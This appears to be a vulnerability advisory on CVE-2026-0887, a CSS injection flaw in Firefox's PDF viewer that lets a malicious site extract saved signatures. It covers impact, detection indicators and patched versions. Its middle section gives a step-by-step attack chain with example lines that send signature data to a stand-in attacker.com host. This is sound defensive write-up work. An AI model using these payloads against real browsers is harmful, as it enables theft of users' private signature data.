CVE-2026-0887: 
NixOS vulnerability analysis and mitigation

CVE-2026-0887 is a CSS injection vulnerability in Firefox's built-in PDF Viewer (PDF.js) that enables both clickjacking and sensitive information disclosure. Discovered and reported by security researcher Lyra Rebane, it was publicly disclosed on January 13, 2026. The vulnerability affects Firefox versions prior to 147, Firefox ESR versions prior to 140.7, Thunderbird versions prior to 147, and Thunderbird ESR versions prior to 140.7. It carries a CVSS v3.1 base score of 4.3 (Medium), rated as "moderate" severity by Mozilla (Mozilla Advisory mfsa2026-01, Mozilla Advisory mfsa2026-03).

The root cause is that Firefox's PDF Viewer (PDF.js) improperly processes HTTP Link response headers, allowing an attacker-controlled server to inject arbitrary external CSS into the PDF viewer context (CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere). Because PDF.js is implemented using web technologies but operates with access to privileged user data (such as saved signatures), injected CSS can leverage attribute selectors to exfiltrate the SVG path data of stored signatures character-by-character. The attack also exploits hash fragment navigation to manipulate the viewer's UI state (e.g., forcing the signatures menu open), and the "holding Enter" interaction pattern constitutes a clickjacking vector. The fix involved stripping the Link header from responses loaded by the PDF viewer to prevent external CSS injection (Mozilla Bugzilla #2006500).

Successful exploitation allows a malicious website to exfiltrate user-saved PDF signatures stored in Firefox, including those created in private browsing mode, by serving a crafted PDF with injected CSS. The confidentiality impact is limited to sensitive user data within the PDF viewer (specifically saved signature SVG paths), with no integrity or availability impact. While lateral movement is not applicable, the attack is notable because it works cross-origin and can silently extract biometric-like data (handwritten signatures) without the user's awareness beyond a brief UI interaction (Mozilla Bugzilla #2006500, Mozilla Advisory mfsa2026-01).

A working proof-of-concept exploit was included in the original bug report by Lyra Rebane, consisting of Python/Flask scripts that demonstrate both minimal CSS injection and full signature exfiltration. The exploit requires user interaction (the victim must open a PDF from the attacker's server and perform a brief key-hold or click action). There is no evidence of in-the-wild exploitation, no known threat actor attribution, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.027% (very low probability of exploitation in the near term) (Mozilla Bugzilla #2006500, Feedly).

1. Setup malicious server: Deploy a Python/Flask web server that serves a crafted PDF file with HTTP Link response headers pointing to attacker-controlled CSS (e.g., Link: <https://attacker.com/evil.css>; rel=stylesheet).
2. Craft the CSS payload: Prepare CSS that uses attribute selectors on SVG path elements to exfiltrate the d attribute of saved signature paths, loading attacker-controlled URLs based on matched values (e.g., path[d^='M1'] { background: url('https://attacker.com/exfil?c=M1'); }).
3. Lure the victim: Trick the target user into visiting the attacker's page, which loads the malicious PDF in an iframe. The victim must be using Firefox with at least one saved PDF signature.
4. Trigger UI interaction: Use JavaScript to focus the iframe and navigate to a hash fragment that selects the signatures menu. Simultaneously, CSS loaded via the Link header prevents the menu from closing. The user holding Enter (or a single click) causes the signatures menu to open.
5. Exfiltrate signature data: Iteratively load additional CSS via media query breakpoints (by resizing the iframe) to probe the SVG path d attribute in 4-character groups, with each match triggering a network request to the attacker's server encoding the matched characters.
6. Reconstruct signature: Aggregate the received network requests server-side to reconstruct the full SVG path of the victim's saved handwritten signature (Mozilla Bugzilla #2006500).

• Network: Outbound HTTP requests from the browser to unexpected third-party domains immediately after opening a PDF file, particularly requests with query parameters resembling SVG path data fragments (e.g., ?c=M1, ?c=23,); unusual CSS stylesheet loads originating from PDF viewer contexts.
• Logs: Browser network logs showing Link header-triggered stylesheet fetches to external origins during PDF viewing sessions; repeated rapid requests to the same external domain with incrementally varying query strings while a PDF is open.
• File System: Presence of attacker-crafted PDF files with embedded or referenced Link headers in download directories or temporary browser cache folders.
• Process: Browser process making outbound connections to non-Mozilla domains during PDF rendering, particularly when no explicit user navigation occurred (Mozilla Bugzilla #2006500).

Mozilla has released patched versions that resolve this vulnerability: Firefox 147, Firefox ESR 140.7, Thunderbird 147, and Thunderbird ESR 140.7. The fix removes processing of the Link HTTP response header within the PDF viewer context, preventing external CSS injection. No configuration-based workaround is available; upgrading to a patched version is the only recommended remediation. Firefox ESR 115.x is unaffected because the signature feature was not present in that branch (Mozilla Advisory mfsa2026-01, Mozilla Advisory mfsa2026-03, Mozilla Bugzilla #2006500).

Mozilla's security team (Daniel Veditz) publicly praised the researcher's report, noting it was "very clever, taking advantage of standard HTTP/HTML mechanisms to attack our 'non-web' features that we have implemented using web technologies," and awarded a security bug bounty to reporter Lyra Rebane. The CIS (Center for Internet Security) issued an advisory covering multiple Mozilla vulnerabilities in the same release batch. Coverage appeared in cybersecurity news outlets including CyberSecurityNews and CyberInsider, which highlighted the Firefox 147 release's security improvements. The vulnerability was rated "moderate" by Mozilla, reflecting its limited scope (requires user interaction and targets only saved signatures) (Mozilla Bugzilla #2006500, CIS Advisory).